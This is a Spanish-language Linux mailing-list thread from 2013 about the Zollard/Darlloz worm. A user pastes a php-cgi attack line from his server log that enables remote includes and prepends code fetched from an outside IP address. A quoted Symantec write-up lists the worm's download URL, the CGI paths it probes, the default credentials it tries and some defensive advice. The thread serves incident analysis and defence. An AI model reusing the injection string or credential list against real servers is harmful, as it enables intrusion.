<div dir="ltr"><br><div class="gmail_extra"><br><br><div class="gmail_quote">El 4 de diciembre de 2013 11:04, Omar Arino<span dir="ltr"><<a href="mailto:omar.arino@linuxdojo.com.ar" target="_blank">omar.arino@linuxdojo.com.ar</a>></span> escribió:<br>
<blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left-width:1px;border-left-color:rgb(204,204,204);border-left-style:solid;padding-left:1ex"><div dir="ltr"><div class="gmail_extra"><br><br><div class="gmail_quote">
El 4 de diciembre de 2013 10:36, Sacanti Ernesto<span dir="ltr"><<a href="mailto:sacanti.ernesto@gmail.com" target="_blank">sacanti.ernesto@gmail.com</a>></span> escribió:<div class="im"><br>
<blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left-width:1px;border-left-color:rgb(204,204,204);border-left-style:solid;padding-left:1ex">El 03/12/13 23:50, Martín Carr escribió:<div><br>
<blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left-width:1px;border-left-color:rgb(204,204,204);border-left-style:solid;padding-left:1ex">
2013/12/3, E S<<a href="mailto:micta2003@yahoo.com" target="_blank">micta2003@yahoo.com</a>>:<br>
<blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left-width:1px;border-left-color:rgb(204,204,204);border-left-style:solid;padding-left:1ex">
Estimados<br>
<br>
No me queda claro como me puede afectar este gusano. Tengo LinuxMint 15 y<br>
soy un usuario comun. Esas recomendaciones son para redes?<br>
</blockquote>
<br>
Salvo que uses tu computadora como un servidor web (para alojar<br>
páginas dinámicas que usan el lenguaje PHP) y no la hayas actualizado,<br>
no tenés que preocuparte.<br>
<br>
Saludos!<br>
<br>
</blockquote></div>
No se si sera esto, pero encontre en mi servidor este log:<br>
/usr/lib/cgi-bin/php -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions=\"\" -d open_basedir=none -d auto_prepend_file=<a href="http://82.221.102.181/robots.txt" target="_blank">http://82.<u></u>221.102.181/robots.txt</a> -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n<br>
<br></blockquote></div></div></div></div></blockquote><div><br></div><div>Te paso mas datos:</div><div><br></div><div> </div><blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left-width:1px;border-left-color:rgb(204,204,204);border-left-style:solid;padding-left:1ex">
<div dir="ltr"><div class="gmail_extra"><div class="gmail_quote"><div class="im"><blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left-width:1px;border-left-color:rgb(204,204,204);border-left-style:solid;padding-left:1ex">
</blockquote><div><dl class="" style="margin:0px;padding:0px;font-size:14px;color:rgb(68,68,68);font-family:arial,helvetica,sans-serif"><dt class="" style="margin:0px 3px 0px 0px;padding:0px;float:left"><strong>Discovered:</strong></dt>
<dd style="margin:0px;padding:0px">November 26, 2013</dd><dt class="" style="margin:0px 3px 0px 0px;padding:0px;float:left"><strong>Updated:</strong></dt><dd style="margin:0px;padding:0px">November 28, 2013 12:43:59 AM</dd>
<dt class="" style="margin:0px 3px 0px 0px;padding:0px;float:left"><strong>Type:</strong></dt><dd style="margin:0px;padding:0px">Worm</dd><dt class="" style="margin:0px 3px 0px 0px;padding:0px;float:left"><strong>Infection Length:</strong></dt>
<dd style="margin:0px;padding:0px">Varies</dd><dt class="" style="margin:0px 3px 0px 0px;padding:0px;float:left"><strong>Systems Affected:</strong></dt><dd style="margin:0px;padding:0px">Linux</dd><dt class="" style="margin:0px 3px 0px 0px;padding:0px;float:left">
<strong>CVE References:</strong></dt><dd style="margin:0px;padding:0px"><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823" style="color:rgb(114,168,38);text-decoration:none">CVE-2012-1823</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2311" style="color:rgb(114,168,38);text-decoration:none">CVE-2012-2311</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2335" style="color:rgb(114,168,38);text-decoration:none">CVE-2012-2335</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2336" style="color:rgb(114,168,38);text-decoration:none">CVE-2012-2336</a></dd>
</dl><div class="" style="margin:0px;padding:0px;clear:both;color:rgb(68,68,68);font-family:arial,helvetica,sans-serif;font-size:12px;line-height:15px"></div><div class="" style="margin:15px 0px;padding:0px;color:rgb(68,68,68);font-family:arial,helvetica,sans-serif;font-size:12px;line-height:15px">
The worm propagates by exploiting the <a href="http://www.securityfocus.com/bid/53388" style="color:rgb(114,168,38);text-decoration:none">PHP 'php-cgi' Information Disclosure Vulnerability</a> (CVE-2012-1823) through http POST requests. <br>
<br>If the target is vulnerable, it downloads and executes the worm from the following URL: <br>[http://]<a href="http://www.gpharma.co">www.gpharma.co</a> <br><br>When the worm is executed, it copies itself as the following file: <br>
/tmp/x86 <br><br>The worm creates the following directory: <br>/var/run/.zollard/ <br><br>The worm attempts to force load ip_table or iptable from the following locations: <br><ul style="margin:0px;padding:0px;list-style:none">
<li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/lib/modules/[OS VERSION]/kernel/net/ipv4/netfilter/ip_tables.ko</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/lib/modules/[OS VERSION]/kernel/net/ipv4/netfilter/iptable_filter.ko</li></ul><br>The worm configures iptable to drop packets on TCP port 23 and prevents remote users from connecting to the compromised computer. <br><br>
The worm attempts to terminate the following process: <br>telnetd <br><br>The worm attempts to terminate the following processes and delete the files: <br><ul style="margin:0px;padding:0px;list-style:none"><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/.lightpid</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/.aidrapid</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/lightpid</li></ul><br>The worm deletes the following files: <br><ul style="margin:0px;padding:0px;list-style:none"><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/.lightscan</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/lightscan</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/mipsel</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/mips</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/sh</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/arm</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/ppc</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/m</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/mi</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/s</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/a</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/p</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/msx</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/mx</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/sx</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/ax</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/px</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/32</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/sel</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/pid</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/gcc</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/dev</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/psx</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/mpl</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/mps</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/sph</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/arml</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/mips.l</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/mipsell</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/ppcl</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/run/shl</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/bin/pp</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/bin/mi</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/bin/mii</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/tmp/<a href="http://dreams.install.sh">dreams.install.sh</a></li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/var/tmp/ep2.ppc</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/usr/bin/wget</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/usr/bin/-wget</li></ul><br>The worm generates random IP addresses excluding the following: <br><ul style="margin:0px;padding:0px;list-style:none"><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
0.0.0.0 - 0.255.255.255</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
127.0.0.1 - 127.255.255.255</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
192.0.2.0 - 192.0.2.255</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
198.51.100.0 - 198.51.100.255</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
203.0.113.0 - 203.0.113.255</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
255.255.255.255</li></ul><br>If an IP address is reachable, the worm attempts to access the following paths: <br><ul style="margin:0px;padding:0px;list-style:none"><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/cgi-bin/php</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/cgi-bin/php5</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/cgi-bin/php-cgi</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/cgi-bin/php.cgi</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
/cgi-bin/php4</li></ul><br>If user authentication is required, the worm attempts the following user name and password combinations (user name/password): <br><ul style="margin:0px;padding:0px;list-style:none"><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
admin/admin</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
root/[BLANK]</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
root/root</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
admin/1234</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
admin/12345</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
root/admin</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
root/dreambox</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
admin/smcadmin</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
admin/[BLANK]</li></ul><ul style="margin:0px;padding:0px;list-style:none"></ul></div><h3 style="margin:0px;padding:0px;color:rgb(68,68,68);font-size:14px;font-family:arial,helvetica,sans-serif">Recommendations</h3><p style="margin:0.3em 0px;padding:0px;color:rgb(68,68,68);font-family:arial,helvetica,sans-serif;font-size:12px;line-height:15px">
Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":</p><ul class="" style="margin:0px;padding:0px;list-style:none;color:rgb(68,68,68);font-family:arial,helvetica,sans-serif;font-size:12px;line-height:15px">
<li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world.</li>
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Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application.</li>
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Disable AutoPlay to prevent the automatic launching of executable files on network and removable drives, and disconnect the drives when not required. If write access is not required, enable read-only mode if the option is available.</li>
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Turn off file sharing if not needed. If file sharing is required, use ACLs and password protection to limit access. Disable anonymous access to shared folders. Grant access only to user accounts with strong passwords to folders that must be shared.</li>
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Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack.</li>
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If a threat exploits one or more network services, disable, or block access to, those services until a patch is applied.</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services.</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files.</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media.</li><li style="margin:0px;padding:0px 0px 0px 10px;list-style-position:outside;list-style-type:none;background-image:url(http://www.symantec.com/images/version-3/bullets/circleGray.png);background-repeat:no-repeat no-repeat">
Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.</li>
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If Bluetooth is not required for mobile devices, it should be turned off. If you require its use, ensure that the device's visibility is set to "Hidden" so that it cannot be scanned by other Bluetooth devices. If device pairing must be used, ensure that all devices are set to "Unauthorized", requiring authorization for each connection request. Do not accept applications that are unsigned or sent from unknown sources.</li>
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For further information on the terms used in this document, please refer to the <a href="http://www.symantec.com/business/security_response/glossary.jsp" style="color:rgb(114,168,38);text-decoration:none">Security Response glossary</a>.</li>
</ul><div class="" style="margin:15px 0px 0px;padding:0px;color:rgb(68,68,68);font-family:arial,helvetica,sans-serif;font-size:12px;line-height:15px"><strong>Writeup By: </strong>Kaoru Hayashi</div></div></div></div></div>
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